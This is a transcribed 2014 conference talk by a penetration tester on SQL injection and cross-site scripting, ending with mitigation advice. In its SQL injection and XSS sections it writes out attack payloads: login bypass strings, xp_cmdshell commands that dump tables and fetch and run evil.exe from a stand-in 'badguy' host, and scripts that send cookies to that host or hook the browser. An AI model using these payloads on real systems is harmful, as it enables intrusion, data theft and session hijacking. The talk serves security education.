Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH zgrace@403labs.com January 17, 2014 2014 Mega Conference



Similar documents
The Top Web Application Attacks: Are you vulnerable?

Magento Security and Vulnerabilities. Roman Stepanov

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Where every interaction matters.

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

Using Free Tools To Test Web Application Security

Web Application Security

External Network & Web Application Assessment. For The XXX Group LLC October 2012

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

Securing Your Web Application against security vulnerabilities. Ong Khai Wei, IT Specialist, Development Tools (Rational) IBM Software Group

Passing PCI Compliance How to Address the Application Security Mandates

Adobe Systems Incorporated

SQuAD: Application Security Testing

(WAPT) Web Application Penetration Testing

What is Web Security? Motivation

Rational AppScan & Ounce Products

Application security testing: Protecting your application and data

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

Conducting Web Application Pentests. From Scoping to Report For Education Purposes Only

OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair

Web Application Vulnerability Testing with Nessus

Sitefinity Security and Best Practices

Six Essential Elements of Web Application Security. Cost Effective Strategies for Defending Your Business

Strategic Information Security. Attacking and Defending Web Services

Attack and Penetration Testing 101

WHITE PAPER. FortiWeb Web Application Firewall Ensuring Compliance for PCI DSS 6.5 and 6.6

WHITE PAPER FORTIWEB WEB APPLICATION FIREWALL. Ensuring Compliance for PCI DSS 6.5 and 6.6

Vulnerability Assessment and Penetration Testing

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

OWASP TOP 10 ILIA

SQL Injection 2.0: Bigger, Badder, Faster and More Dangerous Than Ever. Dana Tamir, Product Marketing Manager, Imperva

How To Understand And Understand The Security Of A Web Browser (For Web Users)

VIDEO intypedia007en LESSON 7: WEB APPLICATION SECURITY - INTRODUCTION TO SQL INJECTION TECHNIQUES. AUTHOR: Chema Alonso

ETHICAL HACKING APPLICATIO WIRELESS110 00NETWORK APPLICATION MOBILE MOBILE0001

FortiWeb Web Application Firewall. Ensuring Compliance for PCI DSS requirement 6.6 SOLUTION GUIDE

Cloud Security Framework (CSF): Gap Analysis & Roadmap

OWASP AND APPLICATION SECURITY

Web Application Attacks And WAF Evasion

OWASP Top Ten Tools and Tactics

ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION

Secure Web Application Coding Team Introductory Meeting December 1, :00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda

Web Application Firewalls Evaluation and Analysis. University of Amsterdam System & Network Engineering MSc

Essential IT Security Testing

How To Fix A Web Application Security Vulnerability

HTTPParameter Pollution. ChrysostomosDaniel

Web Application Penetration Testing

Web application testing

A Survey on Threats and Vulnerabilities of Web Services

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

DFW INTERNATIONAL AIRPORT STANDARD OPERATING PROCEDURE (SOP)

Web-Application Security

National Information Security Group The Top Web Application Hack Attacks. Danny Allan Director, Security Research

FINAL DoIT v.8 APPLICATION SECURITY PROCEDURE

Hack-proof Your Drupal App. Key Habits of Secure Drupal Coding

Members of the UK cyber security forum. Soteria Health Check. A Cyber Security Health Check for SAP systems

Testing the OWASP Top 10 Security Issues

Nuclear Regulatory Commission Computer Security Office Computer Security Standard

Web Engineering Web Application Security Issues

Web application security

05.0 Application Development

Security Awareness For Website Administrators. State of Illinois Central Management Services Security and Compliance Solutions

Introduction:... 1 Security in SDLC:... 2 Penetration Testing Methodology: Case Study... 3

Hack Proof Your Webapps

Cloud Security Framework (CSF): Gap Analysis & Roadmap

Security vulnerabilities in new web applications. Ing. Pavol Lupták, CISSP, CEH Lead Security Consultant

Application Security Vulnerabilities, Mitigation, and Consequences

Barracuda Web Site Firewall Ensures PCI DSS Compliance

Excellence Doesn t Need a Certificate. Be an. Believe in You AMIGOSEC Consulting Private Limited

Pentests more than just using the proper tools

Penetration Testing in Romania

Cyber Security Challenge Australia 2014

Last update: February 23, 2004

Still Aren't Doing. Frank Kim

Overview of the Penetration Test Implementation and Service. Peter Kanters

How to achieve PCI DSS Compliance with Checkmarx Source Code Analysis

Web Application Security Assessment and Vulnerability Mitigation Tests

Enterprise Application Security Workshop Series

Testnet Summerschool. Web Application Security Testing. Dave van Stein

Application Security Best Practices. Wally LEE Principal Consultant

Top Ten Most Critical Web Application Security Vulnerabilities

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Integrating Security Testing into Quality Control

Secure development and the SDLC. Presented By Jerry

Criteria for web application security check. Version

elearning for Secure Application Development

Contemporary Web Application Attacks. Ivan Pang Senior Consultant Edvance Limited

Penetration Test Report

Top Ten Web Application Vulnerabilities in J2EE. Vincent Partington and Eelco Klaver Xebia

Transcription:

Cracking the Perimeter via Web Application Hacking Zach Grace, CISSP, CEH zgrace@403labs.com January 17, 2014 2014 Mega Conference

About 403 Labs 403 Labs is a full-service information security and compliance consulting company Compliance HIPAA/HITECH, PCI DSS, GLBA, SSAE 16 (SAS 70) Professional Services Penetration testing, forensics, vulnerability scanning, IT audits, policies & procedures, risk assessments, security awareness training 2

whoami /all Manager of Penetration Testing and penetration tester at 403 Labs, LLC Former developer & systems administrator Wisconsin CCDC Red Team member Open source contributor Metasploit & Recon-ng Milwaukee OWASP chapter member Locksport (lockpicking) enthusiast 3

Agenda Web Application Security and OWASP SQL Injection Cross-Site Scripting Mitigation 4

Agenda Web Application Security and OWASP SQL Injection Cross-Site Scripting Mitigation 5

What is Web Application Security? Securing the custom code that drives a web application, including: Web application code (dynamic sites) Underlying software libraries (frameworks) Backend systems (database, reporting, etc.) Web services (APIs) Not network security 6

In fact Research has shown that the application layer is responsible for over 90 percent of all security vulnerabilities, yet more than 80 percent of IT security spending continues to be at the network layer, primarily focused on perimeter security. - Ponemon Institute The State of Application Security, August, 2013 7

What is OWASP? Open Web Application Security Project Promotes secure software development Focused primarily on the backend rather than web-design issues An open forum for discussion A free resource for any development team 8

OWASP Publications Top 10 Web Application Security Vulnerabilities Updated about every three years Addresses issues with web-based applications Growing industry acceptance Federal Trade Commission (US Gov) US Defense Information Systems Agency PCI Data Security Standard (PCI DSS) 9

OWASP Top 10 2013 1. Injection 2. Broken Authentication and Session Management 3. Cross-Site Scripting (XSS) 4. Insecure Direct Object References 5. Security Misconfiguration 6. Sensitive Data Exposure 7. Missing Function Level Access Control 8. Cross-Site Request Forgery (CSRF) 9. Using Components with Known Vulnerabilities 10. Unvalidated Redirects and Forwards 10

OWASP Top 10 2013 1. Injection 2. Broken Authentication and Session Management 3. Cross-Site Scripting (XSS) 4. Insecure Direct Object References 5. Security Misconfiguration 6. Sensitive Data Exposure 7. Missing Function Level Access Control 8. Cross-Site Request Forgery (CSRF) 9. Using Components with Known Vulnerabilities 10. Unvalidated Redirects and Forwards 11

Agenda Web Application Security and OWASP SQL Injection Step 1: Break the Application Step 2: Bypass Authentication Step 3: Extract Data Step 4: Command Injection Cross-Site Scripting Mitigation 12

What is SQL? Structured Query Language (SQL) Standard language for getting information from and updating a database Originally Structured English QUEry Language or SEQUEL 13

SQL Structure Our SQL query: SELECT * FROM users WHERE username = '$username' AND password = '$password' 14

SQL Structure Our SQL query: SELECT * FROM users WHERE username = '$username' AND password = '$password' 15

SQL Structure Our SQL query: SELECT * FROM users WHERE username = '$username' AND password = '$password' 16

SQL Structure Our SQL query: SELECT * FROM users WHERE username = '$username' AND password = '$password' 17

SQL Structure Our SQL query: SELECT * FROM users WHERE username = '$username' AND password = '$password' 18

What is SQL Injection? SQL injection is an attack that changes the expected input to run database commands that were not originally intended Typically ranked as the highest risk web application vulnerability Around since 1998 that s 16 years! 19

Two-Tier SQL Injection Code Execution DMZ Network Attacker Web Server Database Server Internal Network 20

What s the Risk? Exfiltration of database contents OS command execution Authentication bypass Bypass DMZ restrictions and security controls Website defacement 21

What Causes SQL Injection? Unvalidated and unsanitized user input Dynamic SQL queries 22

Agenda Web Application Security and OWASP SQL Injection Step 1: Break the Application Step 2: Bypass Authentication Step 3: Extracting Data Step 4: Command Injection Cross-Site Scripting Mitigation 23

Step 1: Break the Application In order to test an application, we want to provide input it is not expecting Our SQL query: SELECT * FROM users WHERE username = ''' AND password = '' 24

Step 1: Break the Application This produces a database error: [Unclosed quotation mark after the character string '' and password = ''. 25

Agenda Web Application Security and OWASP SQL Injection Step 1: Break the Application Step 2: Bypass Authentication Step 3: Extract Data Step 4: Command Injection Cross-Site Scripting Mitigation 26

Step 2: Bypass Authentication Revisit our SQL query: SELECT * FROM users WHERE username = '$username' AND password = '$password' 27

Step 2: Bypass Authentication Rewrite our SQL query: SELECT * FROM users WHERE username = '' OR 1=1--' AND password = '' 28

Step 2: Bypass Authentication Rewrite our SQL query: SELECT * FROM users WHERE username = 'jsmith'--' AND password = '' 29

Agenda Web Application Security and OWASP SQL Injection Step 1: Break the Application Step 2: Bypass Authentication Step 3: Extract Data Step 4: Command Injection Cross-Site Scripting Mitigation 30

Step 3: Extract Data Methods for extraction Manual Individual queries (tedious) Backup methods Automated tools sqlmap Havij 31

Step 3: Extract Data sqlmap Automatic SQL injection and database takeover tool Extract database table data Execute arbitrary database commands Create out-of-band communication channels 32

Agenda Web Application Security and OWASP SQL Injection Step 1: Break the Application Step 2: Bypass Authentication Step 3: Extract Data Step 4: Command Injection Cross-Site Scripting Mitigation 33

Step 4: Command Injection Microsoft SQL Server contains an extended procedure known as XP_CMDSHELL Operating-system command shell Usually administrative-level privileges 34

Step 4: Command Injection We can use XP_CMDSHELL to run commands on the database server: SELECT * FROM users WHERE username = ''; EXEC MASTER..XP_CMDSHELL 'dir > c:\webapp\dir.txt'--' AND password = '' 35

Step 4: Command Injection We can use XP_CMDSHELL to dump all the data: SELECT * FROM WHERE users username = ''; EXEC MASTER..XP_CMDSHELL 'bcp "SELECT * FROM insecure_app..users" queryout c:\webapp\dump.txt T -c'--' AND password = '' 36

Step 4: Command Injection XP_CMDSHELL could also be used to transfer files: SELECT * FROM WHERE users username = ''; EXEC MASTER..XP_CMDSHELL 'bitsadmin /transfer n http://badguy/evil.exe c:\evil.exe'--' AND password = '' 37

Step 4: Command Injection Establish an outgoing interactive session: SELECT * FROM users WHERE username = ''; EXEC MASTER..XP_CMDSHELL 'cmd /c evil.exe'--' AND password = '' 38

OMG! What have we done?! Found an SQL injection vulnerability Bypassed password security Logged into multiple user accounts Extracted raw data Executed arbitrary commands Recovered system passwords 39

Agenda Web Application Security and OWASP SQL Injection Cross-Site Scripting Step 1: Break the Application Step 2: Run Arbitrary Scripts Step 3: Steal a Session Step 4: Control the Browser Mitigation 40

What is Cross-Site Scripting? A cross-site scripting (XSS) vulnerability allows an attacker to execute malicious client-side code in a user s browser on an otherwise trusted site XSS attacks the users of a web application Two primary types Reflected & Stored Around since 1999 that s 15 years! 41

Reflected XSS Attacker Victim 1. Link containing XSS 4. XSS Payload Executed 3. Rendered XSS 2. Clicks on Link Attacker Site Legitimate Site 42

Stored XSS Attacker Victim 4. XSS Payload Executed 1. Embeded XSS 2. Browsed to Exploit 3. Rendered XSS Legitimate Site Attacker Site 43

What s the Risk? Stolen user sessions Malware installation Keystroke loggers Privilege escalation Social engineering 44

What Causes XSS? Unvalidated and unsanitized user input Improperly encoded output 45

Agenda Web Application Security and OWASP SQL Injection Cross-Site Scripting Step 1: Break the Application Step 2: Run Arbitrary Scripts Step 3: Steal a Session Step 4: Control the Browser Mitigation 46

Step 1: Break the Application Let us search (as our developers intended us to): http://goodguy/?term=alice 47

Step 1: Break the Application Let us get a little mischievous with our search: http://goodguy/?term=<font size=10 color=red>howdy!</font> 48

Agenda Web Application Security and OWASP SQL Injection Cross-Site Scripting Step 1: Break the Application Step 2: Run Arbitrary Scripts Step 3: Steal a Session Step 4: Control the Browser Mitigation 49

Step 2: Run Arbitrary Scripts Let us see if we can execute some JavaScript: http://goodguy/?term= <script>alert(document.cookie)</script> 50

Agenda Web Application Security and OWASP SQL Injection Cross-Site Scripting Step 1: Break the Application Step 2: Run Arbitrary Scripts Step 3: Steal a Session Step 4: Control the Browser Mitigation 51

Step 3: Steal a Session Steal the user s session by sending the cookie back to our server: http://goodguy/?term=<script>$.get("http://badg uy?"+document.cookie)</script> 52

Agenda Web Application Security and OWASP SQL Injection Cross-Site Scripting Step 1: Break the Application Step 2: Run Arbitrary Scripts Step 3: Steal a Session Step 4: Control the Browser Mitigation 53

Step 4: Control the Browser What could we do if we controlled the browser? Install malware Keystroke logging Social engineering Malicious redirects 54

Step 4: Control the Browser Got BeEF? The Browser Exploitation Framework Man-in-the-browser Keystoke logging Browser exploitation with Metasploit Social engineering 55

Step 4: Control the Browser Hook the user s browser so we can control it: http://goodguy/?term= <script src= http://badguy/hook.js"></script> 56

OMG! What have we done?! Executed arbitrary scripts Ran nasty code to steal a session Took control of a browser 57

Agenda Web Application Security and OWASP SQL Injection Cross-Site Scripting Mitigation 58

Mitigation Against Attacks Input validation Check input for validity Only accept good input Reject bad input 59

Specifically Against SQLi Use parameterized queries Use stored procedures* Validate & properly escape user input For example, username='o'malley' becomes 'O''Malley' or 'O\'Malley' However, not all SQL injection uses quotes: userid=4; DROP TABLE users 60

Specifically Against XSS Context encode user input HTML - escape entities For example, search='<script>' becomes <script>' However, not all cross-site scripting uses brackets: " onmouseover=do.something.nasty; 61

Mitigation Against Attacks (cont.) Accept only good input Check that the character set matches what is expected Example, [A-Za-z0-9] Remember that some languages can interpret numbers as strings Example, if($id > 2) where $id = 4; DROP TABLE users-- 62

Mitigation Against Attacks (cont.) Reject bad input, when appropriate: SQLi - select, insert, update, delete, drop, union, ', --, xp_cmdshell, etc. XSS - <script>, onmouseover, onmouseclick, javascript, iframe, etc. davidroper@example.com... Oops! 63

Mitigation Against Attacks (cont.) http://xkcd.com/327/ 64

General Mitigation Education Research the OWASP Top Ten Try OWASP WebGoat yourself to learn how flaws work Learn to spot bad code & bad design 65

General Mitigation (cont.) Reviews Have expert code review and penetration testing performed periodically Technology (helps but doesn t replace good code) Web Application Firewalls (WAF) Intrusion Prevention Systems (IPS) Intrusion Detection Systems (IDS) File Integrity Monitoring (FIM) 66

Mitigation by Role Customers Demand web applications that are secure Make it part of product purchase criteria 67

Mitigation by Role (cont.) Developers Take responsibility for securing your code Update your skillsets Software Development Organizations Start with security requirements covering OWASP Top Ten Use secure coding guidelines 68

Mitigation by Role (cont.) Managers Split your security budget between network and application Make security part of developer performance reviews 69

References The Open Web Application Security Project (OWASP) www.owasp.org Ponemon Institute (Research) www.ponemon.org/library 70

Thank You! Zach Grace zgrace@403labs.com www.403labs.com 877.403.LABS